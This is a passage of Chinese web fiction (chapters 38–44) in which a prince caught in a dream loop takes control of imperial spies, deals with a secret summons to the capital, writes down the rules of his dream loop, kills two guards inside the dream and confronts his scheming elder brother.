“屠三儿,参
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见特使大人。”
屠三儿很熟练的半跪下来,恭敬行礼。
“验一下吧。”
周昕阳将燚虎令递了过去。
“是。”屠三儿强压下心头的震惊,开始检查细节。
“特使大人,属下验证好了。”
屠三儿如同夜枭一样,恭敬的低头,双手奉还。
“嗯。”
“剑南王手里的炎雀令,你见过没有?”周昕阳提出一个问题。
“见过。”屠三儿回答。
“好,整个蓼汀城内,有几个地方密使?”周昕阳继续开口询问。
“除了我之外,还有三个。”屠三儿如实回答。
“剑南王都见过了?”周昕阳问。
“是的。”屠三儿点头。
“好,那我去找他们。”
“是。”屠三儿不敢拒绝。
大概半个时辰后,四位地方密使齐聚一堂。
“特使大人。”
“一个命令,从现在开始,我来接管整个蓼汀城。”
“所有消息、情报,都必须第一时间向我汇报。”
“自然也包括剑南王的情报和动向。”
周昕阳手握燚虎令,提出了命令。
“是。”四位地方密使齐声道。
一声令下,攻守易型。
短短一个时辰,周昕阳就利用燚虎令,秘密控制了蓼汀城内的所有密探,从而反向掌握了周煜城的动向。
……
午时一刻。
周煜城准时来到泽川王府。
等下人退出去后,周煜城低声开口:“怎么样?”
“你想好对策了没有?”
周昕阳看着对方:“既然你能操纵宸察院的密探,那就帮我一个忙,让他们不要向宸极城汇报我的动向。”
“我打算先调动兵马,做两手准备。”
“嗯?你是打算起兵?”周煜城微微一惊,他没想到周昕阳胆子这么大?
几个时辰前,还在劝他不要乱来。
现在都要调兵了?
“不是起兵谋反,而是先做准备,以防不测……”周昕阳正说着,突然响起了一阵敲门声。
“咚咚咚……”
“谁?”
周昕阳脸色一变。
周煜城也警惕了起来,转头看向门口。
“王爷,京城有旨意传来。”
门外传来徐善的声音。
第39章 笼中鸟之策
“进来。”
周昕阳给周煜城打了个手势,示意他稍安勿躁。
周煜城微微颔首,走到一旁,低下头,没有说话。
徐善走了进来,低声道:“王爷,京城来了一个天使。”
“天使?”
周昕阳不动声色的看了一眼周煜城,随后收回目光,“人在哪里?”
“王爷,在前厅。”徐善回答。
“你在这里等孤一下。”
“走。”
“先去接旨。”
周昕阳没有犹豫,简单跟周煜城说了一句后,大步跟着徐善离去。
周煜城思绪转动,这个时间,怎么会有天使到来?
“王爷。”
来的天使,是位公公,对着周昕阳微微颔首后,“接旨吧。”
“天使稍等,孤让人设置香案,孤这身衣服也不太合适,这就去更换亲王冕服……”
“来人,清扫庭院。”
周昕阳连忙说道。
“王爷,事急从权,不必忙活了,一切从简吧。”天使摆了摆手。
“嗯?”
周昕阳思绪转动,不动声色的递上一张银票,“这位公公怎么称呼?”
天使眼前一亮,咳嗽了两声,动作很快,将银票收入袖口,“咳咳,回王爷,奴婢姓孙,王爷称呼奴婢孙公公便是了。”
“孙公公,这圣旨,如此着急吗?”周昕阳试探的问道。
按照祖制,迎诏是有诸多流程的。
一般圣旨到来之前,都会有快马通报,王府上下需要提前做迎接准备。
焚香设案,布置香炉、烛台、供桌等物。
清扫庭院,安排王府护卫在主要道路两旁肃立。
周昕阳这样的王爷,需要立刻换上最正式的亲王冕服或朝服,亲自迎接,王府属官也需穿戴整齐官服。
这仅仅只是迎接前奏,后续还有不少繁文缛节。
可孙公公的一切从简,以及不加通传的到来,足以说明,事有蹊跷。
“这次的圣旨,与以往不同,王爷看一下就明白了。”
“奴婢就不宣圣了。”
孙公公将圣旨递给周昕阳。
不宣旨?
这个举动,就更奇怪了。
“这次的圣旨,不是敕谕,是中旨?”周昕阳微微眯眼,看着手中的圣旨,并不着急打开。
“是。”孙公公点了点头。
圣旨共分五种。
诏书:国家重大事件,布告天下,包括登基、大赦、迁都等重大事件,为最高等级的圣旨。
制书:重大制度的更改、高级官员任免,属于仅次于诏书的圣旨。
敕谕:具体政务、地方官员任免训诫、封赠中低级官员,属于最常用,范围最广,灵活性最高的圣旨。
诰命:封赠一至五品官员及家属,属于荣誉性文件,制度性封赠。
中旨:属于皇帝绕过正常程序直接下达的命令,没有固定格式,由于非正式程序,所以常引发争议。
中旨有的加盖圣旨,有的以口谕的形式通传。
周昕阳不动声色的打开圣旨。
【小老九,命你速回京城见朕,接到圣旨后,三日内抵达,逾时重罚。】
呵!
周昕阳看着上面的内容,一瞬间就明白了老二的意思。
“圣旨还你。”
“你先在府里休息吧。”
“明天我再来接圣旨。”
周昕阳将圣旨重新卷起来,塞给了孙公公。
孙公公直接被整蒙了,“王爷,不行啊!这不行啊!”
“这绝对不行!”
“你别搞我啊?”
“不行?”周昕阳嘴角勾起一丝笑容,在孙公公的耳旁低声道:“不行也得行,你以为孤的银票是这么好收的?”
“嗯?”孙公公顿时满头大汗,从怀中掏出袖口中掏出银票:“王爷,银票,我不要还不行吗?”
“诶!
周昕阳伸出手,挡住了孙公公掏银票的动作,“孙公公,我提醒你一句,孤的王府中可有宸察院的密探。”
“嘶!”
几个字,孙公公的动作顿时一停,脸色变得难看。
“王爷,你这不是坑我吗?”孙公公哭丧着脸,委屈巴巴盯着周昕阳。
“别想着不认账,或者耍无赖。”
“你的银票上有我泽川王府的印记,是出自蓼汀城的钱庄,你一个京城来的特使,一来王府,就有了泽川王府的银票,你说说看,如果被宸察院的人知道,会有什么后果?”周昕阳笑眯眯的拍了拍对方的肩膀。
孙公公咽了一口唾沫,“王爷,你明天一定要动身啊!”
“不然奴婢小命难保啊!”
“放心,我收到圣旨,自然会动身的。”周昕阳宽慰道。
“
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王爷……”孙公公露出哭丧的表情。
“来人,安排天使下去休息,好好照顾。”周昕阳吩咐道。
孙公公带着一副笑比哭还难看的表情,被“请”下去休息了。
解决完孙公公的事情,周昕阳回到了书房。
周煜城神情凝重,问道:“究竟出什么事情了?”
“让我即刻进京面圣。”周昕阳沉声道。
“嗯?”
周煜城微微一惊,思绪转动,“老二想做什么?”
“他是打算将藩王们都骗入京城,一口气收了天下兵权?”
“想来是这样的。”周昕阳沉声道:“这个计划并不高明,也就打个时间差。”
“不过无论他能骗几个,都是稳赚的。”
“如果有人脑子不清楚,以为进京是想要挑选他为太子,恐怕真会上当。”
“如果真要挑选太子,为何不下敕谕,广而告之?而要用中旨,暗中传旨,还不提前通传?”周煜城冷笑一声,
“会相信这件事的人,才是真正的愚蠢。”
“我看过了,上面有玉玺章印。”周昕阳淡淡说道:“算是玺书的一种。”
“老二也不傻,知道想取信天下,没有玉玺章印,是万万不行的。”
“当然会有玉玺章印。”周煜城脸色阴沉,“因为他已经成功夺了皇宫。”
“我猜得没错,他之所以没有第一时间选择上位,昭告天下。”
“就是在等待时机。”
“就跟你所说的一样,能骗几个是几个。”
“只要真有藩王进京,立刻就会被软禁起来。”
“最终再昭告天下,宣布老二为太子。”
“至于去了京城的藩王,就是笼中鸟,这辈子都别想再回封地了。”
周昕阳神情严肃,“除了你之外,其他藩王应该在皇宫中也有布置耳目,皇宫内乱,这么大的事情,恐怕瞒不住吧?”
“要看耳目是皇宫里的人,还是皇宫外的人?”周煜城开口道。
“如果是皇宫中的人,只要守住皇宫大门,禁止外出,就能阻绝消息的传递。”
“我为什么会知道,是因为宸察院有密道通往外界,而且我在宫外也布置了耳目,在老二行动的第一时间,我的人完成了消息的传递。”
“并在城门关闭之前,将消息送了出来……”
第40章 老六爽局
“也就是说,老二笃定消息不会传递这么快。”
“想要趁着京城消息还没传递出去,先蒙骗几个藩王……”
周昕阳神情不变,这符合他对老二的判断。
“是。”
周煜城点头,“看来,你我的推断不错,现在就是揭穿此事的时候,不能让老二如愿。”
“天下越乱,他得位越不正,对我们越有利。”
“如果真让他拿下几个藩王,把力量集中起来,恐怕我们根本没有还手的余地。”
周昕阳微微颔首:“好,那就交给你了。”
“别让其他兄弟上当。”
“嗯。”周煜城轻嗯一声,“你说的事情,我会交代宸察院的人。”
“老九,大家都是兄弟,我也不想瞒着你。”
“我手里有块令牌,能够调动宸察院的人。”
“你应该没见过这块令牌……”
周煜城从怀中拿出一块令牌,放到周昕阳面前。
这是一块飞羽形的令牌,边缘锐利,造型灵动。整体青绿,表面打磨光滑,正面浮雕一只雀鸟侧身展翅,姿态疾速,双翼完全由橙红色的流线型火焰构成,拖出长长的尾焰。
背面阳刻小篆“炎雀令”三字,字体优美。
“哇!”
“六哥,你这么厉害呢?”
“我也曾听说过这个,你怎么得到的?”
“这个东西,有什么讲究吗?”
周昕阳瞪大了眼睛,露出钦佩的表情,摸着这块令牌,一副从未见过、很稀奇的样子。
“咳咳。”周煜城嘴角不自觉的勾起,又被强行压下,可脸上的得意劲还是难以掩饰,“这个,自然是左提督使沈砚给的。”
“九弟,这个密令,叫做炎雀令。”
“你看上面的图案,就是一只展翅疾飞的烈焰雀鸟,它还有一个名字,叫做迅捷之翼。”
“知道为什么叫这个名字吗?”
“不知道啊!六哥,什么说法呀?”周昕阳一脸好奇的说道。
此刻的周昕阳有着符合他这个年纪的稚嫩、好奇。
这让周煜城很受用。
他咳嗽两声:“咳咳!”
“不同的密令,有不同的寓意。”
“我这个炎雀令,它的寓意就是迅捷、灵巧、传递,代表情报传递与联络。”
“而次一等的赤犬令,寓意是忠诚、敏锐、根基,代表追踪与侦查。”
“高一等的燚虎令,是勇猛、力量、攻坚,代表执行与抓捕。”
“再往上的煌麟令是什么,我就不知道了。”
周昕阳脸上依旧是嗯嗯点头,一副得到满足的摸样,把情绪价值拉满。
但心中他却默默给出了答案:仁德、智慧、祥瑞,代表策谋与判断。
“原来如此,那六哥这个密令,可以控制云梦州的宸察院密探吗?”
“没问题的。”周煜城露出得意的表情,“密令有同级优先权,只要不出现镇抚使,我的权力就是最大的。”
“这样啊,六哥真厉害。”周昕阳继续提供情绪价值,露出佩服的表情。
“嗯。”
周煜城满意的点了点头:“九弟,你就好好整顿兵马,听我号令,如果有什么特殊情况,我会让宸察院的人通知你的。”
“好,那就有劳六哥了。”
“我昨晚想了想,还是太年轻,没经验,还是要依仗六哥才行。”
“从今天开始,我以六哥你马首是瞻,我们精诚合作,共度难关。”周昕阳连忙说道。
“老二来势汹汹,你我若不联合起来,共同应对,必然会被清算。”
“九弟啊,你能想清楚这点,六哥我很欣慰啊!”周煜城拍着周昕阳的肩膀,“放心,只要六哥还在,绝不会让你出事的。”
“嗯嗯,六哥全靠你了。”周昕阳激动的握住周煜城的手。
“好好好。”周煜城满意点头。
此番前来的目的终于达到了。
小小老九,拿捏!
……
云梦州,泽川王府。
后院,主卧房间。
亥时前。
周昕阳躺在床榻上,望着天花板,思绪转动。
在送走老六周煜城后,周昕阳想了很多,操纵下属,对自己的封地,做出了一些安排。
这些安排,大致可以归纳总结为:掌兵、控权、屯粮。
天下大变,首要是兵,兵马是立足之本,每逢乱世,只有兵马,才是一切。
其次是权,光是
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藩王之权不够,周昕阳打算控制整个云梦州,成为真正意义上的王。
他的封号是泽川,而非云梦。
泽,水**的地方,所谓水聚为泽,有泽被苍生、色泽温润之意。
川,指河流、水道,有奔流不息、胸怀宽广之意。
周昕阳这个泽川王,封地不大,只有包括蓼汀城在内的十八座城池,而整个云梦州却有将近一百多座城池。
天下十三州,每一州,都有七到十三个郡,每个郡下辖十到二十个县,所以每个州,大致估算都有一百多到二百多座城池。
所谓“城池”,指的是县级及以上治所的城墙。
在八大藩王之中,周昕阳的权力算小的,封地面积也算小的。
边疆四王由于地域辽阔,再加上需要守卫边疆的特殊性,他们一般拥有数郡的封地。
简单换算下,周昕阳的城池,也就只能算一郡之地。
正因为如此,周昕阳的第二步,就是**,悄无声息的,将整个云梦州的军政大权,一手把握。
这就是控权。
第三步,屯粮。
每逢乱世,不可无粮。
无粮则·民心乱。
无粮则祸事起。
越是这种时候,越要屯粮,这是周昕阳从历史书里学到的道理。
有粮在手,心不慌。
所以,周昕阳第一时间开始变卖资产,大量收购粮食。
三步做完,时间就来到了晚上。
“现实世界的安排到这一步就够了。”
“接下来就是梦境计划了。”
“这次的入梦,与以往有些不同。”
“可能会出现很大的变化。”
周昕阳大脑飞速转动,思考着入梦后的行动规划。
“首先就是苏醒点,不知道会不会有变化?”
“因为在梦境中,我晕倒了一段时间。”
“在晕倒的过程中,我看见了疑似未来的景象,看见了定南王登基,看见了未来女帝……”
“这一变化,是从未出现过的。”
“从始至终,我的梦境都是过去事情在重复。”
“而这一次,预兆了未来。”
“这有可能就是打破梦境循环的表现……”
第41章 再入梦境
“如果被打破梦境,那苏醒点会在哪里?”
周昕阳陷入了沉思。
“是打开第三把锁的时候?”
“还是选择跟老六合作的时候?”
“亦或者,直接从消失的最后一刻开始继续?”
“都有可能。”
“不过无论从哪一阶段开始,都说明选择结束了。”
“我能不能这么理解,我选了老六合作,就开启了新的篇章。”
“这也从侧面证实,破局点在老六。”
“或者说,破局的关键,是做出选择。”
“无论选择老六、老二,还是老三,只有做出选项,才能打破循环?”
周昕阳思绪转动,继续思考。
“当然了,如果还是原来那个节点苏醒,依旧重复过程,那就说明梦境循环没被打破。”
“我还可以选择其他人,然后打开三把锁,尝试下会不会再次出现未来画面?”
“或者重新改变现实……”
周昕阳很快有了新的思路。
“嗯……我也可以考虑这一次,不去神御阁找寻悼恭太子的线索,看下会不会有不同的变化?”
“毕竟这个举动,同样是以往从未做过的。”
“而且这段梦境经历,在现实世界中并未出现。”
周昕阳只觉得一团乱麻。
太多干扰项了。
神御阁找寻悼恭太子的线索。
存在现实与梦境的偏差,肯定要重点关注。
其次就是梦境中选择老六,进入东宫,从而引发蝴蝶效应,让现实中的老六拥有了这段记忆。
让梦中的一切,成为了现实。
“可目前,我没办法跟确定,究竟是因为我选了老六,才有了这个变化?”
“还是因为我调查了悼恭太子的过往,才有了变化?”
“亦或者是打开第三把诗词机关密码锁,才是关键……”
想着想着,周临渊突然有了一丝困意,他意识到时间到了。
“来了!”
下一刻,他的意识被无边的黑暗所吞噬。
朦胧、黑暗、寂静,犹如漆黑如墨的星空。
在半梦半醒之间,他发现自己好像变成了一只七彩绚烂的梦幻蝴蝶,在浩瀚无垠的星空中,不断煽动着翅膀,朝着未知远方飞去。
时光流逝,无尽的星空中,突然亮起了一束光。
光束化作一条流淌着淡淡银光的浩瀚河流……
……
“醒一醒!”
“王爷,你怎么了?”
一个陌生的声音,在周昕阳的耳畔响起。
嗯?
周昕阳猛得睁开眼睛,看向周围。
熟悉又陌生的偏殿。
一旁窃窃私语的锁匠们。
以及在自己身旁,戴着暗金色面具的男人。
变了!
他终于打破梦境循环了!
周昕阳翻身爬起,看着周围的景象,忍不住露出极为复杂的表情。
有释然、有激动、有兴奋,也有迷茫。
“王爷,你怎么了?”
面具男冷千嶂冷静了下来,低声问道。
“没事。”
“突然有些头晕,不过现在没事了。”
周昕阳拿出怀表,看着上面的时间。
【21:16:25】
时间变了,开始继续流逝了……
那么现在的自己该做些什么呢?
周昕阳思绪转动,猛然转头,看向那个只剩下一把机关铜锁的漆黑铁箱。
“王爷,你有开锁主意了?”
冷千嶂看着周昕阳的动作,总觉得对方的癔症更严重了。
一惊一乍的。
“不。”
“我头晕,我想去休息一下。”
周昕阳扶着头,露出疲惫之色。
“好,来人,带他下去休息。”冷千嶂吩咐道。
“你跟我来。”一名宸察院暗子,走了过来。
“嗯。”
周昕阳跟着对方,来到了一个房间。
“你先在这里休息。”
“不要胡乱走动。”
“想出恭,里面有桶。”
“要吃喝,晃动一下铃铛。”
宸察院暗子冷淡的说道。
“好。”
周昕阳也不废话,直接关上了门。
宸察院暗子对守门的两人,“看好他。”
“是。”两人点头。
周昕阳环顾房间。
很简陋。
明显是下人的伙房。
床铺、草席、出恭用的桶、悬挂在床头的铃铛、以及水盆、麻布……
“在太子东宫,这个配置。”
“老大,你对自己的下人很差啊!”
周昕阳随口吐槽了一句,走到床榻上,躺了下来,拿出怀表,看着上面不断跳动的秒针,开始思索
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接下来的计划。
“既然循环被打破,那就说明没有重头再来的机会了。”
“也就是说,打破循环的规律就在三点之中。”
“无论是哪个,对现在的我来说,都不重要。”
“既然已经无法调回去,重新选择,那就要向前看。”
“利用现在的梦境,大胆尝试,为现实世界赚取足够的筹码,同时搞清楚梦境的使用规则……”
周昕阳将心中的纠结,暂时放下。
开始思索当前局面如何获利?
如何进一步搞清楚梦境循环的规则,以及如何利用规则,改变现实,而不造成反噬。
“大胆尝试,小心验证。”
周昕阳没有犹豫,直接甩动铃铛。
“铃铃铃……”
铃铛摇晃,发出声响。
“干嘛呢?”
门外的人一下子紧张了起来,连忙敲门,喊道。
“笔墨纸砚伺候。”
“再搬一张桌子、一张椅子。”
“快点!”
周昕阳语气毫不客气。
“你什么态度?”
左边之人有些不爽,刚想开口骂人,就被右边之人拦住,捂住了嘴巴。
“好的。”
“你稍等。”
右边之人回答。
“你干嘛对他这么客气?”
“进了我们宸察院,管他什么身份,都得老老实实的……”
左边的守卫脸色不善,甩开身旁之人的手。
“刚刚送他过来的人,是千户大人的亲信,你以为他是普通锁匠?”右边的守卫冷声道。
“这……”左边的守卫脸色微变。
“让百户送过来的人,你敢得罪?”
“你真是嫌命太长了。”右边守卫冷声道:“你想死,别拉着我。”
“兄弟,弟弟愚蠢,感谢救命之恩。”左边守卫一阵后怕,连忙拱手道谢。
一炷香后,周昕阳想要的东西,全部配齐。
两人还贴心的准备了两盏油灯,以及一些糕点。
周昕阳将糕点推到一旁,点燃两盏油灯,摆放在桌上的两个角落,将宣纸铺开,研墨后,拿笔,沾染墨水,开始奋笔疾书。
【底线:不可在梦境中死亡。】
【第一目标:开锁。】
【第二目标:想办法接触老二、老三,获取现实中能利用上的情报……】
第42章 总结规则
【第三目标:多在宸极城停留一些时日,尝试打破循环,影响现实。】
周昕阳写到这里,微微停顿了一下。
看着宣纸上的文字,若有所思。
“按照第一次改变过去后得到的记忆,自己在宸极城多停留了三天。”
“而原本应该停留宸极城一个月的老六,却跟其他藩王一同返回。”
“换句说话,因为我的举动,改变了老六搜查东宫的剧情,导致他直接失去了参与核心事件的机会。”
“可三天的时间,我却没得到什么重要情报。”
“因为我留在京城的主要目的,是为了开锁。”
“开锁失败后,就被赶出了京城。”
周昕阳想到这里,挥动墨笔,将这些内容尽数涂黑,画出了铁链交织的机关铜锁。
“先做一个简单的假设。”
“无论是选择老六合作,还是神御阁找寻悼恭太子情报,亦或者是打开第三把锁,都说明在梦境中想要打破循环,影响现实,需要完成某些特定条件……”
周昕阳思绪转动,伸出食指,轻叩桌面,发出有节奏的声响。
“啪、啪……”
“不止如此,完成特殊条件的预兆,就是未来片段?”
“我能不能这么理解……只有出现未来片段,才算是打破了当前循环,才会影响现实?”
周昕阳开始反推规则。
“很好。”
“曾经的梦境,我总结过三个规则。”
“现在可以开始尝试总结其他规则了。”
周昕阳将画出机关铜锁的宣纸放到一旁,重新拿出一张崭新的宣纸,继续开始奋笔疾书,将曾经总结过的三条规则,写了出来。
【规则1:梦境时间变化,从巳时一刻(怀表时间9:15)开始,到亥时一刻(怀表时间21:15)结束,共计12小时,也就是六个时辰。】
【规则2:梦境中可以做任何事情,在循环过后,一切回到原点,梦境角色记忆重置,自己也会回到初始地,如果在梦境中死亡,就会在现实世界立刻苏醒,且当天无法重回梦境。】
【规则3:梦境的一切,在现实世界都是不复存在的,任何东西也不能带回现实,不过记忆、知识、经验等一切精神价值,会被保留继承下来。】
周昕阳写到这里,将规则1划了一道线,在后面括弧了一下后,继续写到:
(此点存疑,在打破循环后,时间开始流逝,从亥时一刻开始,暂且认为梦境时间依旧为六个时辰。)
也就是说,梦境将会在巳时一刻(怀表时间9:15)结束。
“开始时间变成了结束时间。”
“结束时间变成了开始时间。”
“起点变成了终点?”
“有趣!”
周昕阳嘴角勾起,这个梦境越来越有意思了。
“规则2、规则3,可暂时保留。”
“但需加上前提,这是没打破循环前的规则状态……”
周昕阳想到这里,突然脑中灵光一闪,有了一个想法。
“既然打破循环后,梦境能影响现实,那如果说,在梦境中,我留下些什么东西给现实中的自己,岂不是也能实现?”
“比如我现在身处皇宫,各种珍奇宝贝,数之不尽,对梦境的自己,这些东西,当然一无是处,没有任何价值。”
“因为下一次梦境就重置了,也带不回现实。”
“可若是能交给现实中的自己,那又完全不一样了。”
“在梦境中布置一个后手,拿给现实中的自己来用?”
“在梦境中布置好,随后影响现实,从而让现实中的自己受益?”
周昕阳觉得这个主意不错。
这个后手,可以是金银珠宝,可以是钱粮,更可以是禁军令牌,甚至是天子遗诏……
只要操作得当,此招妙用无穷。
周昕阳压下心头的激动,继续书写。
“继续总结规则。”
【规则4:在打破循环前,依旧具备无数次尝试的机会,但打破循环的最后一次选择,将会改变现实。】(备注:需要多试几次梦境后,再打破循环,才能确定此条规则。)
周昕阳写下这条规则,仔细斟酌考虑后,补上了括弧中的备注。
“这个规则很重要。”
“只要后续能确定这个规则是正确的。”
“那就可以继续浪了。”
“继续肆无忌惮起来!”
“只要不打破循环,就不怕梦境死亡,导致现实死亡。”
周昕阳一直以来最大的顾虑有两点。
一个就是莫名其妙的打破循环,导致梦境影响现实,万一梦境中好巧不巧的**,那现实世界也死亡,那就悲剧了。
另一个就是现实中的处境。
只要能解决第一个顾虑,周昕阳就能继续
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搞事情,在梦中疯狂收集情报,从而解决现实中的第二顾虑。
两件事相辅相成。
缺一不可。
周昕阳继续提笔。
书写后续的梦境规则……
【规则5:想要打破循环,必须找到循环中的“钥匙”,钥匙的形式,可以是第三把锁、可以是与老六的合作,也可以是寻找悼恭太子的情报……找到这个“钥匙”,就可以走出循环。】(目前假设,还需验证。)
【规则6:走出循环后,会扭转现实,改变过去,类似于梦蝶效应,对应的记忆,会逐步同步给自己。】
周昕阳写到这里,想起了现实中与老六交谈过程中,发生的种种事情。
那种头脑撕裂的疼痛,那种被突如其来记忆冲击的感觉,令他记忆犹新。
“最后一点。”
周昕阳继续提笔,写下一段话。
【规则7:关键物品将会呈现未来的某个片段。】
最后这一点,是未来定南王登基,以及未来女帝给他的提示。
周昕阳将七大规则,拿起来,认真背下后,将其焚烧干净后,丢入痰盂。
做完这些后,周昕阳走到床边,再次摇动铃铛。
“铃铃铃……”
铃铛摇晃,发出声响。
“怎么了?”
左边的守卫很紧张的推开房门。
“你还需要什么?”
周昕阳看着有些讨好的守卫,微微一笑,“你叫什么名字?”
“我叫……”
左边的守卫刚要开口,就被右边的守卫捂住了嘴巴:“大人,你不要为难我们,我们只是下人而已,名字不过是代号。”
“您要想称呼我们,叫我们小左、小右就行。”
“小左、小右是吧?”
周昕阳看着右边守卫,“那你是小左呢?”
“还是小右呢?”
“大人,称呼我为小右就好。”小右低声道。
“好,小右是吧?”
“这张宣纸,你去拿给冷千嶂,告诉他,我已经有开锁之法了。”
周昕阳拿起宣纸,挡住面容,递给小右。
“是。”
小右伸出双手,接过宣纸。
下一刻——
一只手,瞬间贯穿宣纸。
一把抓住了小右的咽喉。
“呃呃呃……”
小右痛苦挣扎。
“咔嚓”一声。
小右脖颈被扭断,丢了下去。
第43章 二皇子周·炜廷
“嗯?”
事情发生在瞬息之间,小左全然没有反应过来。
就看见了倒地不起、没有呼吸的同伴。
“你!”
小左刚要说话,周昕阳的右手就已经抓住了他的脖子,右手顺势捂住了他的嘴巴。
“嘘!”
“放心,不疼的。”
“咔嚓!”
小左也瘫软下来,彻底没了呼吸。
周昕阳解决掉守卫后,趁着夜色,溜出了东宫。
半炷香后,宸察院发现了周昕阳的消失。
“什么?”
“人跑了?”
冷千嶂先是一愣,随后狠拍桌子,喝道:“找!”
“还不快去找!”
“把东宫掘地三尺,也要把人找到!”
“是。”
属下抱拳行礼后,立刻开始搜查,寻找周昕阳的下落。
面具之下,冷千嶂冷汗直流,脸色极为难看。
嫌犯逃跑,这可是重罪!
……
皇宫大内。
周昕阳趁着夜色,在皇宫内潜行,朝着皇宫深处而去,心中思绪并未停止。
“按照最新的记忆内容,在三天后,自己会被赶回封地。”
“也就是说,按照原有进度,哪怕自己帮忙,也打不开锁。”
“可改变现实之前,老六配合调查,停留了一个月,而我却只有三天。”
“这是为什么呢?”
“难道父皇不想打开锁?”
“还是觉得我的能力有限?”
周昕阳心中一阵困惑。
这是一个疑点。
但可惜是这个疑点,解决不了。
因为现实改变了,哪怕去问现实中的老六,也得不到答案。
“所以开锁的问题,可以暂缓一下,在我想到更优解的办法之前,先不碰。”
“不浪费时间。”
“现在要解决的,就是接触老二、老三,获取现实中能利用上的情报……”
“因为这是迫在眉睫的事情,不解决,现实中立刻就要出事。”
“毕竟天使还在等着我前往皇宫。”
“至于怎么延长停留时间,尝试能不能改变现实,这一点,就必须从父皇身上入手。”
周昕阳的思路很清晰了。
假设这次梦境的时间,依旧是六个时辰。
那么,在有限的时间内,周昕阳必须见到这三个人,同时取得一定的成果。
无论是得到昭明帝的信任,延长留在宫廷内的时间,尝试再次打破梦境;还是见到老二老三,从他们口中得到有用情报。
都对周昕阳来说很重要。
“那么问题来了。”
“先见谁呢?”
周昕阳再次来到御花园,看着左右两边的岔路口,陷入了沉思。
“先见父皇,肯定要重新回到监视下,这一次,宸察院对自己的看守,肯定会提升档次。”
“再想脱身,可就没那么容易了。”
“算了,先见老二吧。”
“他是赢家。”
“先见他。”
周昕阳很快有了决断。
走向右边的岔路口,朝着老二所在的诸王馆。
而这个地方,在宫外。
周昕阳轻车熟路的出宫。
对于藩王的管理是很严格的。
总结来说,三句话。
藩王无诏不得入京。
藩王入京后无特旨不得入宫。
藩王入宫后无殊恩不得留宿。
藩王返回京城,一般来说,会居住在自己的原王府。
原王府,若是不在了,则居住在诸王馆。
老二周·炜廷是最早就藩的藩王,王府年限超过十五年,因为修缮、维护成本,所以被取缔,另作他用。
毕竟藩王在封地也有王府居住,而且除祭祖大典等特殊日子外,基本不回京。
而老三周焕章因为不到十五年,所以京城王府还在,被安排在自己王府居住。
藩王前往京城,一般都是安排在诸王馆。
庆典当天,可以提前入宫,安排在弘义阁、弘礼阁、武英殿、文华殿等地。
除此之外,就是原王府、敕建府邸等地方居住。
……
诸王馆。
周·炜廷看着手中的密信,双手微微颤抖,情绪激动,嘴角控制不住的勾起,喃喃:
“老大,老大……”
“你当真是昏头了!”
“你居然敢做出这样的事情?”
“本来我没机会的。”
“现在,是你把机会送到我手里。”
“我若是不珍惜,岂不是像你一样愚蠢?”
周·炜廷不断深呼吸,将自己心中激动的情绪一点一点控制下来,随后,他将密信点燃,丢入火盆。
他望着不断燃烧、逐渐化为灰烬的密信,眼中尽是疯狂、贪婪,以及对无上宝座的觊觎。
一阵微风吹
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过,火光忽明忽暗,将他的面庞轮廓,映照得明暗交织,犹如置身天堂地狱之间。
突然——
“咳咳!”
周·炜廷咳嗽了起来,他连忙从怀中拿出手帕,捂住嘴巴。
片刻之后,他看着自己手帕上的血色红点,脸色阴沉了下来。
他死死攥紧了拳头,随后松开。
将染血的手帕,重新折叠起来,放入怀中。
“咚咚咚……”
“什么事?”
听见敲门声,周·炜廷皱眉,不耐烦的问道。
“王爷,夜深了,需要宵夜吗?”
一个声音,从门外传来。
“吃什么宵夜?”
周·炜廷本能厌恶,刚要破口大骂,突然觉得这个声音,有些耳熟。
今天似乎听到过?
他立刻敏锐、警觉了起来。
“进来吧。”
周·炜廷冷静下来,不动声色的从抽屉里拿出一把**,藏于袖中。
“是。”
一道身影,推开房门,拿着托盘,托着一碗银耳汤,走了进来。
“放桌上吧。”
周·炜廷淡淡吩咐。
“是,王爷。”
来人低着头,将银耳汤放到桌上。
下一刻,周·炜廷提着**,抵住了来人的腰间。
“别动!”
“你是什么人?”
周·炜廷声音低沉,语气中蕴含杀意。
“二哥,早上刚见完,怎么这么快就忘记弟弟了?”
周昕阳抬起头,露出自己的容貌。
“你!”
“你疯了!”
“这个时间点,你敢来找我?”
“你是想害死我吗?”
看见周昕阳的刹那,周·炜廷脑子嗡的一下,随后立刻压低声音。
“二哥何必慌张……宫里发生如此大事,连晚上的酒宴都取消了,难道二哥不好奇吗?”
周昕阳盯着周·炜廷,仔细观察着他的情绪变化。
“嗯?”
“难道九弟知道?”周·炜廷略微迟疑了一下后,露出惊讶、询问之色。
这个第一时间的反应。
被周昕阳·精准捕捉到了。
周昕阳嘴角勾起:
“看来二哥不需要我了,已经有其他人给二哥提供过情报。”
第44章 西域识人术
“嗯?”
“你在说什么胡话?”
周·炜廷脸色阴沉下来。
周昕阳轻声开口:“西域有一种识人术,能够通过表情,来分辨一个人的真实想法。”
“刚刚我问二哥的时候,二哥的第一反应,没有惊讶的情绪。”
“我就知道……二哥你清楚宫里发生了什么。”
周·炜廷脸色不变,眼神中不自觉透露出一丝防备:“九弟,如果没什么事情,就抓紧离开吧。”
“看来二哥对宫里发生的事情,知道的也不完整。居然想让我走?呵呵,有趣。”周昕阳微微一笑,自顾自的找地方坐了下来,
“让我想想,二哥得到的情报内容应该是……太子与国舅长孙晟意图造·反,被宸察院秘密控制。”
“我说的没错吧?”
周·炜廷脸色有了变化,看向周昕阳目光中多了几分审视:“看来是我小看九弟了。”
“原先一直以为九弟被癔症困扰,整日疯疯癫癫,没想到,不过是藏拙的手段。”
“不知九弟有什么情报可以分享?”
周昕阳脸上依旧挂着笑容:“二哥,你应该知道情报交换的规则吧?”
“当然。”
“规矩,二哥自然是懂的。”
“互惠互利。”
周·炜廷微微点头,他不怕周昕阳要什么东西,就怕他什么也不要。
双方的关系,本就不亲近,不过各取所需。
都要有利可图。
这个交易,才能顺畅。
“为彰显诚意,我免费送二哥两个情报。”
“算是弟弟的诚意。”
周昕阳笑着说道。
“请。”周·炜廷也不客气,做了一个请的手势。
“国舅长孙晟假扮太监入宫,是打算让太子醉酒御道奔马,吸引守军注意后,带兵打开神武门,发动兵变,篡位登基……这是其一。”
周昕阳说出了第一个情报。
“嗯?”
周·炜廷略微思索,“那事情是怎么暴露的?”
“国舅长孙晟可不是一个马虎莽撞之人,他既然想好了此计,定然做足了准备。”
“这就是九弟的第二个情报了。”周昕阳继续说道:“因为几个时辰前,我潜入东宫,跟宸察院密探一起撞破了此事,这才导致太子被抓,东宫被封锁。”
“什么?”
